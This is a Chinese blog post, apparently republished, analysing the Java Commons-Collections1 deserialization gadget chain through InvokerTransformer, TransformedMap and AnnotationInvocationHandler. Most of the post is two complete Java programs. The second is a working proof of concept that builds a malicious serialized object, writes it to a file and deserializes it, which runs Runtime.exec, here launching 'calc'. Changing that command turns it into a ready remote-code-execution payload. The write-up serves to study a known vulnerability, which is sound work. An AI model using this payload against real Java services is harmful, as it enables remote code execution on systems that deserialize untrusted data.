zoukankan      html  css  js  c++  java
  • java反序列化Commons-Collections1分析

    AnnotationInvocationHandler关键类
    Commons-Collections1也是利用InvokerTransformer类中的transform方法反射机制执行命令。实验用的是commons-collections 3.1这里说一下为什么调用构造elEntry.setValue("hahah");就会弹计算器。poc前一步需要理解如下代码:

    package com.imooc.bigdata.datafile;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.util.HashMap;
    import java.util.Map;
    
    public class Test1 {
        public static void main(String[] args)
        {
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                    new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };
            Transformer transformerChain = new ChainedTransformer(transformers);
    
            Map innermap = new HashMap();
            innermap.put("name", "hello");
            Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
            Map.Entry elEntry = ( Map.Entry ) outmap.entrySet().iterator().next();
            elEntry.setValue("hahah");
        }
    }
    

    在setValue下断点调试:
    Alt text
    F7跟进,调用了checkSetValue方法:
    Alt text
    F7跟进,就会跳到TransformedMap类的checkSetValue方法。
    Alt text
    继续F7调用Transform方法
    Alt text
    继续跟就会来到我们命令执行的transform方法中。最终导致RCE。
    Alt text
    以上就是为什么调用setValue会触发RCE。
    继续找一个类满足如下条件就能触发反序列化漏洞:

    (1)使用了InvokeTransformer的对象,并在transform方法里执行代码;
    (2)使用TransformedMap通过执行setValue方法来触发transform方法。

    这时候就找到AnnotationInvocationHandler这个类,这个类的readObject方法就存在setValue方法触发RCE
    最终的Poc如下:

    package com.imooc.bigdata.datafile;
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.annotation.Retention;
    import java.lang.reflect.Constructor;
    import java.util.HashMap;
    import java.util.Map;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    public class Test {
        public static Object Reverse_Payload() throws Exception {
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                    new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };
            Transformer transformerChain = new ChainedTransformer(transformers);
    
            Map innermap = new HashMap();
            innermap.put("value", "value");
            Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
            //通过反射获得AnnotationInvocationHandler类对象
            Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            //通过反射获得cls的构造函数
            Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
            //这里需要设置Accessible为true,否则序列化失败
            ctor.setAccessible(true);
            //通过newInstance()方法实例化对象
            Object instance = ctor.newInstance(Retention.class, outmap);
            return instance;
        }
    
        public static void main(String[] args) throws Exception {
            GeneratePayload(Reverse_Payload(),"obj");
            payloadTest("obj");
        }
        public static void GeneratePayload(Object instance, String file)
                throws Exception {
            //将构造好的payload序列化后写入文件中
            File f = new File(file);
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
            out.writeObject(instance);
            out.flush();
            out.close();
        }
        public static void payloadTest(String file) throws Exception {
            //读取写入的payload,并进行反序列化
            ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
            in.readObject();
            in.close();
        }
    }
    

    调试下,293行调用setValue方法。
    Alt text
    执行调用栈的过程如下图。说一下需要看执行栈情况的时候,可以在Runtime类的exec方法打个断点,弹计算器的时候就是RCE执行完了。
    Alt text

    参考文章:
    https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/#h3_%E5%88%A9%E7%94%A8apache-commons-collections%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C
    https://paper.seebug.org/312/#6-java-apache-commonscollections-rce

  • 相关阅读:
    [SAP HANA] S4HANA XSA 安装常用命令
    [SAP BASIS]SAP 内存管理参数详解
    [SAP BASIS]有用的常用的SAP程序/报表-更新
    [SAP BASIS]激活SAP新功能模块的最实践|更改表结构
    [SAP BASIS]如何在系统拷贝时备份RFC 连接 and partner profile
    [SAP Basis] [TMS Management] 传输导入优化 import transport tunning
    [SAP BASIS]SPAM queue unable to reset after phase IMPORT_PROPER
    B. Obtain Two Zeroes -Codeforces Round 77 (Div. 2)
    B
    F
  • 原文地址:https://www.cnblogs.com/afanti/p/10200291.html
Copyright © 2011-2022 走看看